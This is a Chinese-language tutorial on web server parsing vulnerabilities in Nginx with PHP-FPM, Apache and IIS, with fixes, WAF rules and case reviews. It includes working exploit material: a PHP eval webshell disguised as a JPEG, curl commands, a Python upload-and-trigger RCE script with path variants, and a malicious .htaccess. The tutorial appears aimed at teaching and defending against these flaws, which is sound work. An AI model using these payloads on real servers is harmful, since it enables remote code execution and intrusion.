一、为什么服务器会有"解析漏洞"

Web 服务器的职责是:收到请求 → 看文件后缀 → 决定用哪个处理模块。但在历史版本中,这个判断后缀的逻辑经常有 bug:

  • 多后缀文件(shell.php.jpg)到底算哪种类型?
  • 请求的路径到底哪部分是"文件名",哪部分是"附加路径信息"?
  • 配置项的默认值是不是真的安全?

二、Nginx + PHP-FPM path_info 漏洞(最经典)

2.1 原理

Nginx 本身不解析 PHP,它只是把请求转发给 PHP-FPM。问题出在 Nginx 构造转发路径时没校验文件是否存在。

漏洞配置

``nginx

这是老教程里常见的"标准"配置

location ~ .php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
``

攻击请求

``

先上传一张图片 shell.jpg(内容:)

然后访问

POST /uploads/shell.jpg/xxx.php
``

Nginx 内部流程

``

  1. 请求 /uploads/shell.jpg/xxx.php
  2. Nginx 匹配 ~ .php$(结尾是 .php)→ 进 PHP 处理
  3. $fastcgi_script_name = /uploads/shell.jpg/xxx.php
  4. SCRIPT_FILENAME = /var/www/html/uploads/shell.jpg/xxx.php
  5. PHP-FPM 找不到 /uploads/shell.jpg/xxx.php → 报 "Primary script unknown"
  6. 但因为 php.ini 里 cgi.fix_pathinfo=1(默认值!)
  7. PHP-FPM 回退:去掉最后一段 /xxx.php
  8. 尝试执行 shell.jpg → 成功!
    ``

2.2 PoC

``bash

完整攻击流程

1. 上传 shell.jpg

curl -F "file=@shell.jpg" http://target.com/upload

2. 确认上传成功

curl http://target.com/uploads/shell.jpg

→ 返回

3. 触发解析漏洞

curl -X POST http://target.com/uploads/shell.jpg/xxx.php -d "c=phpinfo();"

→ 返回 phpinfo 页面!RCE 成功

``

2.3 PoC 自动化脚本

# nginx_pathinfo_rce.py
import requests

TARGET = "http://target.com"
UPLOAD_URL = f"{TARGET}/upload"
IMG_PATH   = f"{TARGET}/uploads/shell.jpg"
EXPLOIT    = f"{IMG_PATH}/xxx.php"

# 1. 上传图片马(带合法 JPG magic)
shell = b'\xff\xd8\xff\xe0<?php eval($_POST["c"]); ?>'
files = {'file': ('shell.jpg', shell, 'image/jpeg')}
r = requests.post(UPLOAD_URL, files=files)
print(f"[*] 上传: {r.status_code}")

# 2. 触发漏洞
r = requests.post(EXPLOIT, data={'c': 'echo "PWNED";'})
if 'PWNED' in r.text:
    print(f"[+] 漏洞存在!RCE 成功")

# 3. 常用 payload 变体
VARIANTS = [
    "/uploads/shell.jpg.xxx.php",
    "/uploads/shell.jpg%00.php",
    "/uploads/shell.jpg/",
    "/uploads/shell.jpg%23.php",
]
for v in VARIANTS:
    url = f"{TARGET}{v}"
    r = requests.post(url, data={'c': 'echo TEST;'}, timeout=5)
    if 'TEST' in r.text:
        print(f"[+] 变体有效: {url}")
``

### 2.4 修复

#### Nginx 配置 + try_files

``nginx
location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index index.php;
    # 关键:先检查文件是否存在
    try_files $uri =404;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
}
``

#### PHP 配置

``ini
; php.ini
cgi.fix_pathinfo = 0    ; 关键!禁止回退解析
``

## 三、Apache 多后缀解析漏洞

### 3.1 Apache 的 AddType 机制

Apache 会按 `.` 从右向左依次检查文件后缀,遇到认识的就按那个处理:

| 文件名 | 解析结果 | 原因 |
|--------|---------|------|
| shell.php | PHP | 最后一个后缀 php |
| shell.php.xxx | PHP | xxx 不认识 → 往左看 php |
| shell.php.jpg | 某些版本 PHP | jpg 是图片 → 往左还有 php |
| shell.phtml | PHP | AddType application/x-httpd-php .phtml |
| shell.php5 | PHP | 配置里有 php5 |

### 3.2 利用

``bash
# 黑名单过滤了 .php
# 但上传 shell.phtml 绕过(AddType 默认包含 phtml)
echo '<?php eval($_POST["c"]); ?>' > shell.phtml
# 也可以用 .php3 .php4 .php5 .phps
``

### 3.3 .htaccess 任意扩展执行

如果上传了 .htaccess,可以用 AddType 让任意后缀执行 PHP:

``apache
# .htaccess 内容
AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .xxx
SetHandler application/x-httpd-php

# 更狠:全匹配
<FilesMatch "." >
    SetHandler application/x-httpd-php
</FilesMatch>
``

## 四、IIS 6.0 分号截断

Windows 文件名里不能有 `;`,但 IIS 处理 URL 时会把 `;` 后面的东西**截断**:

``
shell.asp;jpg     → 当作 shell.asp 执行
# IIS 内部:filename = shell.asp;jpg → 取分号前 → shell.asp → 执行 ASP
``

### 修复

``
# 1. 升级到 IIS 7.5+(强烈建议)
# 2. 在 ISAPI 过滤器里拦截 .asa/.cer/.cdx 等
# 3. 上传目录设置"脚本不可执行"
``

## 五、IIS 7.0/7.5 path_info

和 Nginx path_info 原理类似,攻击 payload:

``
/uploads/shell.jpg/shell.php
/uploads/shell.jpg%00.php
``

## 六、Nginx alias 错误

``nginx
# 正确:location 和 alias 要么都有 / 要么都没有
location /static/ {
    alias /var/www/data/;   # 都有 /
}
# 或者直接用 root(不会错)
location /static/ {
    root /var/www/data;
}
``

## 七、CGI 配置错误

``apache
# 危险配置:任意后缀当 CGI 执行
Options +ExecCGI
AddType application/x-httpd-cgi .txt .jpg

# 安全配置:上传目录禁执行
<Directory /var/www/uploads>
    Options -ExecCGI -Includes -Indexes
    AllowOverride None
    php_admin_flag engine off
</Directory>
``

## 八、修复优先级

1. **升级** —— 停在老版本(IIS 6 / Apache 2.2 / 老 Nginx)等死
2. **try_files** —— Nginx 每个 PHP location 必加
3. **cgi.fix_pathinfo=0** —— PHP 全局配置
4. **上传目录禁脚本执行** —— Apache: php_admin_flag engine off
5. **严格 AddType** —— 只允许 .php/.py 等明确后缀

部署前用本文所有 payload 打一遍,确保没有解析类型判断错误。

## 九、真实案例回顾

### 9.1 ThinkPHP 5.x Nginx + php-fpm path_info 组合

2018 年 ThinkPHP 5.0.x 和 5.1.x 框架本身有多个漏洞(CVE-2018-20062 等),配合 Nginx path_info 漏洞可以快速写入 shell。完整链:

``
[1] 上传图片马 shell.jpg(内容 <?php eval($_POST['c']); ?>)
[2] 访问 POST /uploads/shell.jpg/shell.php
[3] Nginx 匹配 \.php$,转发给 php-fpm
[4] php-fpm 找不到 shell.php 回退执行 shell.jpg → RCE
``

### 9.2 某教育站 IIS 6 分号绕过

``
[1] 网站用 IIS 6.0 + ASP.NET 2.0
[2] 上传 shell.asp.jpg → IIS 6 忽略 .jpg 后缀 → 执行 ASP
[3] ASP 里用 WScript.Shell 执行命令
``

### 9.3 阿里云 CDN 反代 Nginx path_info

``
[1] 某电商站用阿里云 CDN + 回源 Nginx
[2] CDN 把 /xxx.jpg/xxx.php 转发给源站
[3] 源站 Nginx 用了 try_files 但 php-fpm 没关 fix_pathinfo
[4] 图片马执行成功
``

## 十、解析漏洞检测脚本

```python
# parse_vuln_checker.py
import requests, sys

def check_path_info(base, upload_path="/uploads/"):
    """检测 Nginx + PHP-FPM path_info 漏洞"""
    shell = b'\xff\xd8\xff\xe0<?php echo "VULN"; ?>'
    files = {'file': ('shell.jpg', shell, 'image/jpeg')}

    try:
        # 先尝试找到上传接口
        upload_url = base + "/upload"
        r = requests.post(upload_url, files=files, timeout=5)
        if r.status_code != 200:
            upload_url = base + upload_path + "shell.jpg"
            # 直接用已有的文件也行
        print(f"[*] 尝试 path_info: {upload_path}shell.jpg/x.php")

        # 用 curl 发送 POST 触发执行
        # 注意 PHP-FPM 需要 Content-Type: application/x-www-form-urlencoded
        test_url = base + upload_path + "shell.jpg/x.php"
        resp = requests.post(test_url, data={'_': '_'}, timeout=5)
        if 'VULN' in resp.text:
            print(f"[+] 漏洞存在!PHP-FPM path_info 可触发任意图片执行")
            return True
    except Exception as e:
        print(f"[-] 检测失败: {e}")
    return False

def check_apache_addtype(base):
    """检测 Apache .phtml / .php5 等扩展可执行"""
    for ext in ['phtml', 'php5', 'php4', 'php3', 'phps']:
        url = f"{base}/uploads/test.{ext}"
        try:
            r = requests.post(url, data={'<?php echo "VULN"; ?>': ''}, timeout=3)
            # 写入探测
            print(f"  .{ext}: status={r.status_code} len={len(r.text)}")
        except:
            pass

if __name__ == '__main__':
    target = sys.argv[1] if len(sys.argv) > 1 else 'http://127.0.0.1:8080'
    check_path_info(target)
    check_apache_addtype(target)
``

## 十一、WAF 拦截规则

Nginx ModSecurity 或 Apache mod_security 里加这些规则:

``nginx
# 拦截 path_info 攻击
# SecRule REQUEST_URI "@rx \.(jpg|png|gif|jpeg)/.*\.php" "phase:1,deny,status:403,id:10001"
# SecRule REQUEST_URI "@rx /.*\.(jpg|png|gif)/[^\s]*\.php$" "phase:1,deny,status:403,id:10002"

# 拦截 .asp;jpg 分号
# SecRule REQUEST_URI "@rx \.asp;[^\s]*" "phase:1,deny,status:403,id:10003"

# Nginx 原生配置
map $uri $is_malicious {
    default 0;
    ~\.(jpg|png|gif)/.*\.php 1;
    ~\.asp;                    1;
}
if ($is_malicious) {
    return 403;
}
``

## 十二、总结

解析漏洞的本质是**服务器对"文件类型"的判断逻辑不够严谨**。防御优先级:

1. **升级** —— 停在老版本(IIS 6 / Apache 2.2 / 老 Nginx)等死
2. **try_files** —— Nginx 每个 PHP location 必加
3. **cgi.fix_pathinfo=0** —— PHP 全局配置
4. **上传目录禁脚本执行** —— Apache: php_admin_flag engine off / Nginx: 用 if 检查文件类型
5. **严格 AddType** —— 只允许 .php/.py 等明确后缀
6. **WAF 拦截典型 payload** —— .jpg/.php 组合、分号绕过等

一个安全的 Web 服务器配置,上传目录应该:
- **不可执行脚本**(php_admin_flag engine off 或通过 location 阻断)
- **只允许明确的图片后缀**(白名单)
- **GD 重编码**(确保是真图片)
- **非 Web 根路径**(用对象存储 / CDN)

这样即便出现解析漏洞也不会升级为 RCE。